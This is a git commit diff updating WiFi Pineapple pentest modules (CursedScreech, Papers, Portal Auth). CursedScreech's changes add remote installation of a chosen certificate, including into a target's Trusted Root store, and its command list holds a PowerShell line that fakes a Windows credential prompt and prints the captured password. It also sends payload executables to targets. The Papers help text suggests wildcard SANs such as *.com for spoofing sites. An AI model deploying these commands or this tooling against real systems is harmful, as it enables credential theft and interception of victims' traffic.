Papers, CursedScreech, and Portal Auth Updates (#5)

pull/7/head
Nick 2018-01-08 19:11:40 -05:00 committed by Sebastian Kinne
parent e7e15afdcb
commit 1f4f1248a7
27 changed files with 584 additions and 331 deletions

View File

@ -64,6 +64,9 @@ if (!empty($_FILES)) {
class CursedScreech extends Module { class CursedScreech extends Module {
public function route() { public function route() {
switch ($this->request->action) { switch ($this->request->action) {
case 'init':
$this->init();
break;
case 'depends': case 'depends':
$this->depends($this->request->task); $this->depends($this->request->task);
break; break;
@ -140,6 +143,27 @@ class CursedScreech extends Module {
} }
} }
/* ============================ */
/* INIT FUNCTIONS */
/* ============================ */
private function init() {
if (!file_exists(__LOGS__)) {
if (!mkdir(__LOGS__, 0755, true)) {
$this->respond(false, "Failed to create logs directory");
return false;
}
}
if (!file_exists(__API_DL__)) {
if (!mkdir(__API_DL__, 0755, true)) {
$this->logError("Failed init", "Failed to initialize because the API download directory structure could not be created.");
$this->respond(false);
return false;
}
}
}
/* ============================ */ /* ============================ */
/* DEPENDS FUNCTIONS */ /* DEPENDS FUNCTIONS */
/* ============================ */ /* ============================ */
@ -422,7 +446,7 @@ class CursedScreech extends Module {
$files = scandir(__API_DL__); $files = scandir(__API_DL__);
$success = true; $success = true;
foreach ($files as $file) { foreach ($files as $file) {
if ($file == "." || $file == "..") {continue;} if (substr($file, 0, 1) == ".") {continue;}
if (!unlink(__API_DL__ . $file)) { if (!unlink(__API_DL__ . $file)) {
$success = false; $success = false;
} }
@ -449,7 +473,7 @@ class CursedScreech extends Module {
$files = []; $files = [];
foreach (scandir(__PAYLOADS__) as $file) { foreach (scandir(__PAYLOADS__) as $file) {
if ($file == "." || $file == "..") {continue;} if (substr($file, 0, 1) == ".") {continue;}
$files[$file] = __PAYLOADS__; $files[$file] = __PAYLOADS__;
} }
$this->respond(true, null, $files); $this->respond(true, null, $files);
@ -521,7 +545,7 @@ class CursedScreech extends Module {
$dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__); $dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__);
$contents = array(); $contents = array();
foreach (scandir($dir) as $log) { foreach (scandir($dir) as $log) {
if ($log == "." || $log == "..") {continue;} if (substr($log, 0, 1) == ".") {continue;}
array_push($contents, $log); array_push($contents, $log);
} }
$this->respond(true, null, $contents); $this->respond(true, null, $contents);
@ -575,7 +599,7 @@ class CursedScreech extends Module {
$keys = scandir($dir); $keys = scandir($dir);
$certs = array(); $certs = array();
foreach ($keys as $key) { foreach ($keys as $key) {
if ($key == "." || $key == "..") {continue;} if (substr($key, 0, 1) == ".") {continue;}
$parts = explode(".", $key); $parts = explode(".", $key);
$fname = $parts[0]; $fname = $parts[0];

View File

@ -0,0 +1,5 @@
January 5, 2018
<br /><br />
- Modified hook into Papers to work with the latest release<br />
- Added ability to install a certificate on a target Windows machine<br />

View File

@ -1,4 +1,5 @@
Send File:C:\Temp\ Send File:C:\Temp\
Install Cert:powershell "Import-Certificate -FilePath $cert -CertStoreLocation $store"
Get PS Version:powershell "$PSVersionTable" Get PS Version:powershell "$PSVersionTable"
Get SysInfo:powershell "gwmi Win32_QuickFixEngineering | Select Description, HotFixID, InstalledBy, InstalledOn; gwmi Win32_OperatingSystem | Select Caption, ServicePackMajorVersion, OSArchitecture, BootDevice, BuildNumber, CSName, CSDVersion, NumberOfUsers, Version | FL" Get SysInfo:powershell "gwmi Win32_QuickFixEngineering | Select Description, HotFixID, InstalledBy, InstalledOn; gwmi Win32_OperatingSystem | Select Caption, ServicePackMajorVersion, OSArchitecture, BootDevice, BuildNumber, CSName, CSDVersion, NumberOfUsers, Version | FL"
Windows PSv3+ Phish:powershell "Get-Credential -User $(whoami).Split('\')[1] -Message 'Windows requires your credentials to continue' | % {Write-Host $_.UserName '->' $_.GetNetworkCredential().password}" Windows PSv3+ Phish:powershell "Get-Credential -User $(whoami).Split('\')[1] -Message 'Windows requires your credentials to continue' | % {Write-Host $_.UserName '->' $_.GetNetworkCredential().password}"

View File

@ -14,7 +14,7 @@ with open(settingsFile, "r") as sFile:
if params[0] == "activity_log": if params[0] == "activity_log":
activity_log = params[1] activity_log = params[1]
elif params[0] == "kuro_key": elif params[0] == "kuro_key":
priv_key = params[1] + ".pem" priv_key = params[1] + ".key"
pub_cer = params[1] + ".cer" pub_cer = params[1] + ".cer"
elif params[0] == "target_key": elif params[0] == "target_key":
client_key = params[1] + ".cer" client_key = params[1] + ".cer"

View File

@ -23,7 +23,7 @@ while [ "$#" -gt 0 ]
do do
if [[ "$1" == "-k" ]]; then if [[ "$1" == "-k" ]]; then
KEY="$2.pem" KEY="$2.key"
fi fi
if [[ "$1" == "-d" ]]; then if [[ "$1" == "-d" ]]; then
KEYDIR="$2" KEYDIR="$2"

View File

@ -51,6 +51,22 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
$scope.newCmdName = ""; $scope.newCmdName = "";
$scope.newCmdCommand = ""; $scope.newCmdCommand = "";
$scope.checkAllTargets = false; $scope.checkAllTargets = false;
$scope.target_installKey = "";
$scope.certStores = [
{"ID":"Root", "Name":"Trusted Root Certification Authorities"},
{"ID":"My", "Name":"Personal"},
{"ID":"Remote Desktop", "Name":"Remote Desktop"},
{"ID":"Trust", "Name":"Enterprise Trust"},
{"ID":"CA", "Name":"Intermediate Certification Authorities"},
{"ID":"SmartCardRoot", "Name":"Smart Card Trusted Roots"},
{"ID":"TrustedPublisher", "Name":"Trusted Publishers"},
{"ID":"TrustedPeople", "Name":"Trusted People"},
{"ID":"ClientAuthIssuer", "Name":"Client Authentication Issuers"},
{"ID":"eSIM Certification Authorities", "Name":"eSIM Certification Authorities"},
{"ID":"Windows Live ID Token Issuer", "Name":"Windows Live ID Token Issuer"},
{"ID":"Homegroup Machine Certificates", "Name":"Homegroup Machine Certificates"}
];
$scope.selectedCertStore = $scope.certStores[0];
// Panes // Panes
$scope.showTargetPane = true; $scope.showTargetPane = true;
@ -62,6 +78,7 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
$scope.uploading = false; $scope.uploading = false;
$scope.selectedPayload = ""; $scope.selectedPayload = "";
$scope.showPayloadSelect = false; $scope.showPayloadSelect = false;
$scope.showCertSelect = false;
// Interval vars // Interval vars
$scope.stop; $scope.stop;
@ -313,15 +330,33 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
if ($scope.showPayloadSelect) { if ($scope.showPayloadSelect) {
// ex: "sendfile;/pineapple/modules/CursedScreech/includes/payloads/NetCli.exe;C:\Temp\" // ex: "sendfile;/pineapple/modules/CursedScreech/includes/payloads/NetCli.exe;C:\Temp\"
cmd = "sendfile;" + $scope.payloadDir + $scope.selectedPayload.fileName + ";" + $scope.targetCommand; cmd = "sendfile;" + $scope.payloadDir + $scope.selectedPayload.fileName + ";" + $scope.targetCommand;
} else if ($scope.showCertSelect) {
cmd = "sendfile;" + $scope.target_installKey + ";" + getEZCmd("Send File");
} else { } else {
cmd = $scope.targetCommand; cmd = $scope.targetCommand;
} }
$api.request({
module: 'CursedScreech',
action: 'sendCommand',
command: cmd,
targets: checkedTargets
},function(response){
// Make a second API call to install the certificate
if ($scope.showCertSelect) {
cmd = $scope.targetCommand.replace("$cert", getEZCmd("Send File") + $scope.target_installKey.split("/").slice(-1)[0]).replace("$store", "'Cert:\\LocalMachine\\" + $scope.selectedCertStore.ID + "'")
$api.request({ $api.request({
module: 'CursedScreech', module: 'CursedScreech',
action: 'sendCommand', action: 'sendCommand',
command: cmd, command: cmd,
targets: checkedTargets targets: checkedTargets
},function(response){}); },function(response){});
}
});
}); });
function getTargetIndex(sock){ function getTargetIndex(sock){
@ -458,23 +493,27 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
}); });
$scope.ezCommandChange = (function(){ $scope.ezCommandChange = (function(){
$scope.showPayloadSelect = false;
$scope.showCertSelect = false;
if ($scope.selectedCmd === null) { if ($scope.selectedCmd === null) {
$scope.targetCommand = ""; $scope.targetCommand = "";
$scope.showPayloadSelect = false;
return; return;
} }
for (key in $scope.ezcmds) { for (key in $scope.ezcmds) {
if ($scope.ezcmds[key] == $scope.selectedCmd) { if ($scope.ezcmds[key] == $scope.selectedCmd) {
if (key == "Send File") { if (key == "Send File") {
$scope.showPayloadSelect = true; $scope.showPayloadSelect = true;
} else { } else if (key == "Install Cert") {
$scope.showPayloadSelect = false; $scope.showCertSelect = true;
} }
} }
} }
$scope.targetCommand = $scope.selectedCmd; $scope.targetCommand = $scope.selectedCmd;
}); });
function getEZCmd(key) {
return $scope.ezcmds[key];
}
/* ============================================= */ /* ============================================= */
/* BEGIN KEY FUNCTIONS */ /* BEGIN KEY FUNCTIONS */
@ -484,9 +523,15 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
if (type == "kuro") { if (type == "kuro") {
$scope.selectKuroKey = true; $scope.selectKuroKey = true;
$scope.selectTargetKey = false; $scope.selectTargetKey = false;
$scope.selectInstallKey = false;
} else if (type == "target") { } else if (type == "target") {
$scope.selectTargetKey = true; $scope.selectTargetKey = true;
$scope.selectKuroKey = false; $scope.selectKuroKey = false;
$scope.selectInstallKey = false;
} else if (type == "install") {
$scope.selectInstallKey = true;
$scope.selectKuroKey = false;
$scope.selectTargetKey = false;
} }
$api.request({ $api.request({
module: 'CursedScreech', module: 'CursedScreech',
@ -509,6 +554,8 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
$scope.settings_kuroKey = keyPath; $scope.settings_kuroKey = keyPath;
} else if ($scope.selectTargetKey == true) { } else if ($scope.selectTargetKey == true) {
$scope.settings_targetKey = keyPath; $scope.settings_targetKey = keyPath;
} else if ($scope.selectInstallKey == true) {
$scope.target_installKey = keyPath + ".cer";
} }
}); });
@ -636,7 +683,7 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
$http.post("/modules/CursedScreech/api/module.php", fd, { $http.post("/modules/CursedScreech/api/module.php", fd, {
transformRequest: angular.identity, transformRequest: angular.identity,
headers: {'Content-Type': undefined} headers: {'Content-Type': undefined}
}).success(function(response) { }).then(function(response) {
for (var key in response) { for (var key in response) {
if (response.hasOwnProperty(key)) { if (response.hasOwnProperty(key)) {
if (response.key == "Failed") { if (response.key == "Failed") {
@ -711,6 +758,22 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter
$scope.stop = undefined; $scope.stop = undefined;
}); });
$scope.init = (function(){
$api.request({
module: 'CursedScreech',
action: 'init'
},function(response){
if (response.success == false) {
if (response.message != '') {
$scope.getLogs();
} else {
alert(response.message);
}
}
});
});
$scope.init();
$scope.loadAvailableInterfaces(); $scope.loadAvailableInterfaces();
$scope.loadSettings(); $scope.loadSettings();
$scope.loadEZCmds(); $scope.loadEZCmds();

View File

@ -234,14 +234,27 @@ $(document).on('mouseenter', '.cs_hoverDanger', function() {
<option value="" selected>Select...</option> <option value="" selected>Select...</option>
</select> </select>
<br /> <br />
<div ng-show="showPayloadSelect"> <div ng-show="showPayloadSelect" ng-hide="!showPayloadSelect">
<select ng-disabled="kuroButton=='Start'" class="form-control" ng-model="selectedPayload" ng-options="payload.fileName for payload in payloads"> <select ng-disabled="kuroButton=='Start'" class="form-control" ng-model="selectedPayload" ng-options="payload.fileName for payload in payloads">
<option value="" disabled selected>Select Payload...</option> <option value="" disabled selected>Select Payload...</option>
</select> </select>
<br /> <br />
<h4>Remote upload path</h4> <h4>Remote upload path</h4>
</div> </div>
<input type="text" ng-model="targetCommand" class="form-control block" ng-disabled="kuroButton=='Start'" placeholder="Send command to target"><br /> <div ng-show="showCertSelect" ng-hide="!showCertSelect">
<div class="row form-group">
<div class="col-md-6">
<input type="text" ng-model="target_installKey" class="form-control" placeholder="Select Certificate...">
</div>
<div class="col-md-2">
<button type="button" class="btn btn-sm" data-toggle="modal" data-target="#cs_keyModal" ng-click="loadCertificates('install');">SSL Store</button>
</div>
</div>
<h4>Certificate Store</h4>
<select ng-disabled="kuroButton=='Start'" class="form-control" ng-model="selectedCertStore" ng-options="store.Name for store in certStores">
</select>
</div>
<input type="text" ng-model="targetCommand" class="form-control block" ng-show="!showCertSelect" ng-hide="showCertSelect" ng-disabled="kuroButton=='Start'" placeholder="Send command to target"><br />
<table style="width: 100%"> <table style="width: 100%">
<tr><td> <tr><td>
<button type="button" class="btn btn-sm cs_hoverInfo" style="width: 100px;" ng-disabled="kuroButton=='Start'" ng-click="sendCommand();">Send</button> <button type="button" class="btn btn-sm cs_hoverInfo" style="width: 100px;" ng-disabled="kuroButton=='Start'" ng-click="sendCommand();">Send</button>
@ -397,7 +410,7 @@ $(document).on('mouseenter', '.cs_hoverDanger', function() {
<tbody> <tbody>
<tr ng-repeat="(key, value) in ezcmds"> <tr ng-repeat="(key, value) in ezcmds">
<td> <td>
<button type="button" class="btn cs_hoverDanger" ng-disabled="key == 'Send File'" ng-click="deleteEZCmd(key);"><img src="/modules/CursedScreech/includes/icons/glyphicons-198-remove-circle.png"/></button> <button type="button" class="btn cs_hoverDanger" ng-disabled="key == 'Send File' || key == 'Install Cert'" ng-click="deleteEZCmd(key);"><img src="/modules/CursedScreech/includes/icons/glyphicons-198-remove-circle.png"/></button>
</td> </td>
<td style="width: 200px"> <td style="width: 200px">
<label class="form-label">{{ key }}</label> <label class="form-label">{{ key }}</label>

View File

@ -6,5 +6,5 @@
"tetra" "tetra"
], ],
"title": "CursedScreech", "title": "CursedScreech",
"version": "1.2" "version": "1.3"
} }

View File

@ -10,11 +10,10 @@ define('__CHANGELOGS__', __INCLUDES__ . "changelog/");
define('__HELPFILES__', __INCLUDES__ . "help/"); define('__HELPFILES__', __INCLUDES__ . "help/");
define('__DOWNLOAD__', __INCLUDES__ . "download/"); define('__DOWNLOAD__', __INCLUDES__ . "download/");
define('__UPLOAD__', __INCLUDES__ . "upload/"); define('__UPLOAD__', __INCLUDES__ . "upload/");
define('__SSL_TEMPLATE__', __SCRIPTS__ . "ssl.cnf");
/* /*
Determine the type of file that has been uploaded and move it to the appropriate Import keys
directory. If it's a .zip it is an injection set and will be unpacked. If it is
an .exe it will be moved to __WINDL__, etc.
*/ */
if (!empty($_FILES)) { if (!empty($_FILES)) {
$response = []; $response = [];
@ -55,6 +54,9 @@ class Papers extends Module
{ {
public function route() { public function route() {
switch ($this->request->action) { switch ($this->request->action) {
case 'init':
$this->init();
break;
case 'checkDepends': case 'checkDepends':
$this->checkDepends(); $this->checkDepends();
break; break;
@ -105,6 +107,38 @@ class Papers extends Module
break; break;
} }
} }
private function init() {
if (!file_exists(__LOGS__)) {
if (!mkdir(__LOGS__, 0755, true)) {
$this->respond(false, "Failed to create logs directory");
return false;
}
}
if (!file_exists(__DOWNLOAD__)) {
if (!mkdir(__DOWNLOAD__, 0755, true)) {
Papers::logError("Failed init", "Failed to initialize because the 'download' directory structure could not be created");
$this->respond(false);
return false;
}
}
if (!file_exists(__SSLSTORE__)) {
if (!mkdir(__SSLSTORE__, 0755, true)) {
Papers::logError("Failed init", "Failed to initialize because the 'ssl store' directory structure could not be created");
$this->respond(false);
return false;
}
}
if (!file_exists(__SSHSTORE__)) {
if (!mkdir(__SSHSTORE__, 0755, true)) {
Papers::logError("Failed init", "Failed to initialize because the 'ssh store' directory structure could not be created");
$this->respond(false);
return false;
}
}
}
private function checkDepends() { private function checkDepends() {
$retData = array(); $retData = array();
exec(__SCRIPTS__ . "checkDepends.sh", $retData); exec(__SCRIPTS__ . "checkDepends.sh", $retData);
@ -159,6 +193,7 @@ class Papers extends Module
} }
private function buildCert($paramsObj) { private function buildCert($paramsObj) {
$certInfo = array(); $certInfo = array();
$req = array();
$params = (array)$paramsObj; $params = (array)$paramsObj;
$keyName = (array_key_exists('keyName', $params)) ? $params['keyName'] : "newCert"; $keyName = (array_key_exists('keyName', $params)) ? $params['keyName'] : "newCert";
@ -174,28 +209,21 @@ class Papers extends Module
if (array_key_exists('bitSize', $params)) { if (array_key_exists('bitSize', $params)) {
$certInfo['-b'] = $params['bitSize']; $certInfo['-b'] = $params['bitSize'];
} }
if (array_key_exists('country', $params)) {
$certInfo['-c'] = $params['country']; $req[':C:'] = array_key_exists('country', $params) ? $params['country'] : "US";
} $req[':ST:'] = array_key_exists('state', $params) ? $params['state'] : "CA";
if (array_key_exists('state', $params)) { $req[':LOC:'] = array_key_exists('city', $params) ? $params['city'] : "San Jose";
$certInfo['-st'] = $params['state']; $req[':ORG:'] = array_key_exists('organization', $params) ? $params['organization'] : "SecTrust";
} $req[':OU:'] = array_key_exists('section', $params) ? $params['section'] : "Certificate Issue";
if (array_key_exists('city', $params)) { $req[':COM:'] = array_key_exists('commonName', $params) ? $params['commonName'] : $keyName;
$certInfo['-l'] = $params['city'];
} if (array_key_exists('sans', $params)) {
if (array_key_exists('organization', $params)) { $req[':SAN:'] = $params['sans'];
$certInfo['-o'] = $params['organization'];
}
if (array_key_exists('section', $params)) {
$certInfo['-ou'] = $params['section'];
}
if (array_key_exists('commonName', $params)) {
$certInfo['-cn'] = $params['commonName'];
}
if (array_key_exists('email', $params)) {
$certInfo['-email'] = $params['email'];
} }
// Generate an OpenSSL config file
$certInfo['--config'] = $this->generateSSLConfig($keyName, $req);
// Build the argument string to pass to buildCert.sh // Build the argument string to pass to buildCert.sh
foreach ($certInfo as $k => $v) { foreach ($certInfo as $k => $v) {
$argString .= $k . " \"" . $v . "\" "; $argString .= $k . " \"" . $v . "\" ";
@ -211,6 +239,9 @@ class Papers extends Module
return; return;
} }
// Delete the OpenSSL conf file
unlink($certInfo['--config']);
if (array_key_exists('container', $params) || array_key_exists('encrypt', $params)) { if (array_key_exists('container', $params) || array_key_exists('encrypt', $params)) {
$cryptInfo = array(); $cryptInfo = array();
$argString = ""; $argString = "";
@ -257,6 +288,39 @@ class Papers extends Module
$this->respond(true, "Keys created successfully!"); $this->respond(true, "Keys created successfully!");
} }
/*
Generates an OpenSSL config file based on the passed in requirements ($req)
and returns the path to the file.
*/
private function generateSSLConfig($keyName, $req) {
$conf = file_get_contents(__SSL_TEMPLATE__);
foreach ($req as $k => $v) {
$conf = str_replace($k, $v, $conf);
}
// Add the common name as a SAN
$conf .= "\nDNS.1 = " . $req[':COM:'];
// Add additional SANs if they were provided
if (isset($req[':SAN:'])) {
$x = 2;
foreach (explode(",", $req[':SAN:']) as $san) {
// Skip the common name if it was included in the list since
// we already added it above
if ($san == $req[':COM:']) { continue; }
$conf .= "\nDNS." . $x . " = " . $san;
$x++;
}
}
$path = __SCRIPTS__ . hash('md5', $keyName . time()) . ".cnf";
file_put_contents($path, $conf);
return $path;
}
private function loadCertificates() { private function loadCertificates() {
$certs = $this->getKeys(__SSLSTORE__); $certs = $this->getKeys(__SSLSTORE__);
$certs = array_merge($certs, $this->getKeys(__SSHSTORE__)); $certs = array_merge($certs, $this->getKeys(__SSHSTORE__));
@ -268,7 +332,7 @@ class Papers extends Module
$keys = scandir($dir); $keys = scandir($dir);
$certs = array(); $certs = array();
foreach ($keys as $key) { foreach ($keys as $key) {
if ($key == "." || $key == "..") {continue;} if (substr($key, 0, 1) == ".") {continue;}
$parts = explode(".", $key); $parts = explode(".", $key);
$fname = $parts[0]; $fname = $parts[0];
@ -323,7 +387,7 @@ class Papers extends Module
$contents = scandir($keyDir); $contents = scandir($keyDir);
$certs = array(); $certs = array();
foreach ($contents as $cert) { foreach ($contents as $cert) {
if ($cert == "." || $cert == "..") {continue;} if (substr($cert, 0, 1) == ".") {continue;}
$parts = explode(".", $cert); $parts = explode(".", $cert);
$fname = $parts[0]; $fname = $parts[0];
$type = "." . $parts[1]; $type = "." . $parts[1];
@ -356,7 +420,7 @@ class Papers extends Module
private function clearDownloadArchive() { private function clearDownloadArchive() {
foreach (scandir(__DOWNLOAD__) as $file) { foreach (scandir(__DOWNLOAD__) as $file) {
if ($file == "." || $file == "..") {continue;} if (substr($file, 0, 1) == ".") {continue;}
unlink(__DOWNLOAD__ . $file); unlink(__DOWNLOAD__ . $file);
} }
$files = glob(__DOWNLOAD__ . "*"); $files = glob(__DOWNLOAD__ . "*");
@ -380,7 +444,7 @@ class Papers extends Module
$msg = "Failed to delete the following files:"; $msg = "Failed to delete the following files:";
$keyDir = ($keyType == "SSH") ? __SSHSTORE__ : __SSLSTORE__; $keyDir = ($keyType == "SSH") ? __SSHSTORE__ : __SSLSTORE__;
foreach (scandir($keyDir) as $cert) { foreach (scandir($keyDir) as $cert) {
if ($cert == "." || $cert == "..") {continue;} if (substr($cert, 0, 1) == ".") {continue;}
if (explode(".",$cert)[0] == $delCert) { if (explode(".",$cert)[0] == $delCert) {
if (!unlink($keyDir . $cert)) { if (!unlink($keyDir . $cert)) {
$res = False; $res = False;
@ -527,7 +591,7 @@ class Papers extends Module
$dir = ($type == "error") ? __LOGS__ : __CHANGELOGS__; $dir = ($type == "error") ? __LOGS__ : __CHANGELOGS__;
$contents = array(); $contents = array();
foreach (scandir($dir) as $log) { foreach (scandir($dir) as $log) {
if ($log == "." || $log == "..") {continue;} if (substr($log, 0, 1) == ".") {continue;}
array_push($contents, $log); array_push($contents, $log);
} }
$this->respond(true, null, $contents); $this->respond(true, null, $contents);

View File

@ -0,0 +1,5 @@
January 3, 2018<br /></br >
- Added option to include SANs in certificates<br />
- Changed key output from .pem to .key<br />
- Added default Certificate Info if none is included in the build request<br />
- Fixed a bug where the Certificate Info fields remained after switching to SSH key build mode<br />

View File

@ -20,7 +20,12 @@ This value indicates how long the certificate will be valid. A default value of
<strong>Signature Algorithm</strong><br /> <strong>Signature Algorithm</strong><br />
SHA-1 is considered to be too weak these days, or it will be soon enough, so SHA-256 is selected by default. SHA-1 has officially been broken so SHA-256 is selected by default.
<br /><br />
<strong>Subject Alternative Names (SAN)</strong><br />
A comma-delimited list of SANs. These are alternative names that will be considered valid when verifying the certificate. For example if you're spoofing multiple sites during a pentest you'll want to add SANs (*.company1.com, *.company2.com, *.com).
<br /><br /> <br /><br />

View File

@ -23,7 +23,7 @@ help() {
echo -e '\t-o,--orgnaization:\t\tOrganization'; echo -e '\t-o,--orgnaization:\t\tOrganization';
echo -e '\t-ou,--organizationalUnit:\tOrganizational Unit'; echo -e '\t-ou,--organizationalUnit:\tOrganizational Unit';
echo -e '\t-cn,--commonName:\t\tCommon Name'; echo -e '\t-cn,--commonName:\t\tCommon Name';
echo -e '\t-email,--emailAddress:\t\tEmail Address'; echo -e '\t--config:\t\t\tOpenSSL config file';
echo ''; echo '';
} }
@ -70,8 +70,8 @@ fi
if [[ "$1" == "-cn" || "$1" == "--commonName" ]]; then if [[ "$1" == "-cn" || "$1" == "--commonName" ]]; then
CN="$2" CN="$2"
fi fi
if [[ "$1" == "-email" || "$1" == "--emailAddress" ]]; then if [[ "$1" == "--config" ]]; then
EMAIL="$2" CONF="$2"
fi fi
shift shift
@ -104,14 +104,11 @@ fi
if [ -n "$CN" ]; then if [ -n "$CN" ]; then
subj="$subj/CN=$CN"; subj="$subj/CN=$CN";
fi fi
if [ -n "$EMAIL" ]; then
subj="$subj/emailAddress=$EMAIL";
fi
if [ -n "$subj" ]; then if [ -n "$subj" ]; then
openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.pem -out $ssl_store$KEYNAME.cer -subj "$subj"; openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.key -out $ssl_store$KEYNAME.cer -subj "$subj";
else else
openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.pem -out $ssl_store$KEYNAME.cer; openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.key -out $ssl_store$KEYNAME.cer -config $CONF;
fi fi
echo "Complete"; echo "Complete";

View File

@ -15,7 +15,7 @@ class ConfigHelper:
def checkSSLCertsExist(self): def checkSSLCertsExist(self):
flags = [".pem", ".cer"] flags = [".key", ".cer"]
if os.path.isdir(self.ssl_dir): if os.path.isdir(self.ssl_dir):
for file in os.listdir(self.ssl_dir): for file in os.listdir(self.ssl_dir):
for flag in flags: for flag in flags:
@ -64,7 +64,7 @@ class ConfigHelper:
index = 0 index = 0
cert = keyName + ".cer" cert = keyName + ".cer"
key = keyName + ".pem" key = keyName + ".key"
with open(self.nginxConf, "w") as out: with open(self.nginxConf, "w") as out:
for line in self.lines: for line in self.lines:
@ -84,7 +84,7 @@ class ConfigHelper:
def replaceSSLConfig(self, newKey): def replaceSSLConfig(self, newKey):
cert = newKey + ".cer" cert = newKey + ".cer"
key = newKey + ".pem" key = newKey + ".key"
currentKey = self.currentSSLCerts[0].rsplit(".")[0] currentKey = self.currentSSLCerts[0].rsplit(".")[0]
index = 0 index = 0
@ -94,7 +94,7 @@ class ConfigHelper:
if (currentKey + ".cer") in line: if (currentKey + ".cer") in line:
line = "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" line = "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n"
if (currentKey + ".pem") in line: if (currentKey + ".key") in line:
line = "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" line = "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n"
index = index + 1 index = index + 1

View File

@ -3,8 +3,8 @@
# Author: sud0nick # Author: sud0nick
# Date: Jan 2016 # Date: Jan 2016
if ! cp $1.pem /etc/nginx/ssl/; then if ! cp $1.key /etc/nginx/ssl/; then
echo "Failed to copy $1.pem to /etc/nginx/ssl/"; echo "Failed to copy $1.key to /etc/nginx/ssl/";
fi fi
if ! cp $1.cer /etc/nginx/ssl/; then if ! cp $1.cer /etc/nginx/ssl/; then

View File

@ -90,7 +90,7 @@ done;
# Generate a password on the private key # Generate a password on the private key
if [ $ENCRYPT_KEYS = true ]; then if [ $ENCRYPT_KEYS = true ]; then
openssl rsa -$ALGO -in $ssl_store$KEY.pem -out $ssl_store$KEY.pem -passout pass:"$PASS"; openssl rsa -$ALGO -in $ssl_store$KEY.key -out $ssl_store$KEY.key -passout pass:"$PASS";
fi fi
# If a container type is present but not an algo or pass then use # If a container type is present but not an algo or pass then use
@ -104,7 +104,7 @@ if [ -n "$CONTAINER" ]; then
fi fi
# Generate a container for the public and private keys # Generate a container for the public and private keys
openssl $CONTAINER -$CALGO -export -nodes -out $ssl_store$KEY.pfx -inkey $ssl_store$KEY.pem -in $ssl_store$KEY.cer -passin pass:"$PASS" -passout pass:"$CPASS"; openssl $CONTAINER -$CALGO -export -nodes -out $ssl_store$KEY.pfx -inkey $ssl_store$KEY.key -in $ssl_store$KEY.cer -passin pass:"$PASS" -passout pass:"$CPASS";
fi fi
echo "Complete" echo "Complete"

View File

@ -55,5 +55,5 @@ if [[ -z $KEYNAME ]]; then
exit; exit;
fi fi
ssh-keygen -q -b $BITSIZE -t rsa -N "$PASSWORD" -f $SSH_STORE$KEYNAME.pem -C $COMMENT ssh-keygen -q -b $BITSIZE -t rsa -N "$PASSWORD" -f $SSH_STORE$KEYNAME.key -C $COMMENT
mv $SSH_STORE$KEYNAME.pem.pub $SSH_STORE$KEYNAME.pub mv $SSH_STORE$KEYNAME.key.pub $SSH_STORE$KEYNAME.pub

View File

@ -11,7 +11,7 @@ while read p; do
IN_SERVER_BLOCK=true; IN_SERVER_BLOCK=true;
fi fi
else else
if [[ $p == *".cer;" || $p == *".pem;" ]]; then if [[ $p == *".cer;" || $p == *".key;" ]]; then
echo $p | cut -d '/' -f 5 | tr -d ';'; echo $p | cut -d '/' -f 5 | tr -d ';';
fi fi
fi fi

View File

@ -0,0 +1,17 @@
[req]
prompt = no
distinguished_name = req_distinguished_name
x509_extensions = req_ext
[req_distinguished_name]
organizationName = :ORG:
organizationalUnitName = :OU:
localityName = :LOC:
stateOrProvinceName = :ST:
countryName = :C:
commonName = :COM:
[req_ext]
subjectAltName = @alt_names
[alt_names]

View File

@ -23,7 +23,7 @@ while [ "$#" -gt 0 ]
do do
if [[ "$1" == "-k" ]]; then if [[ "$1" == "-k" ]]; then
KEY="$2.pem" KEY="$2.key"
fi fi
if [[ "$1" == "-d" ]]; then if [[ "$1" == "-d" ]]; then
KEYDIR="$2" KEYDIR="$2"

View File

@ -39,14 +39,14 @@ output=$(unzip $FILE.zip -d $DL_DIR);
# keys are destined for the SSH directory # keys are destined for the SSH directory
if [[ $output == *".pub"* ]]; then if [[ $output == *".pub"* ]]; then
mv $FILE.pub /pineapple/modules/Papers/includes/ssh/ mv $FILE.pub /pineapple/modules/Papers/includes/ssh/
mv $FILE.pem /pineapple/modules/Papers/includes/ssh/ mv $FILE.key /pineapple/modules/Papers/includes/ssh/
fi fi
# If the archive contained a .cer these # If the archive contained a .cer these
# keys are destined for the SSL directory # keys are destined for the SSL directory
if [[ $output == *".cer"* ]]; then if [[ $output == *".cer"* ]]; then
mv $FILE.cer /pineapple/modules/Papers/includes/ssl/ mv $FILE.cer /pineapple/modules/Papers/includes/ssl/
mv $FILE.pem /pineapple/modules/Papers/includes/ssl/ mv $FILE.key /pineapple/modules/Papers/includes/ssl/
fi fi
# Clear the download directory # Clear the download directory

View File

@ -5,6 +5,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
$scope.certBitSize = "2048"; $scope.certBitSize = "2048";
$scope.certDaysValid = "365"; $scope.certDaysValid = "365";
$scope.certSigAlgo = "sha256"; $scope.certSigAlgo = "sha256";
$scope.certSANs = "";
$scope.certKeyName = ""; $scope.certKeyName = "";
$scope.modifyCertInfo = false; $scope.modifyCertInfo = false;
$scope.certInfoCountry = ""; $scope.certInfoCountry = "";
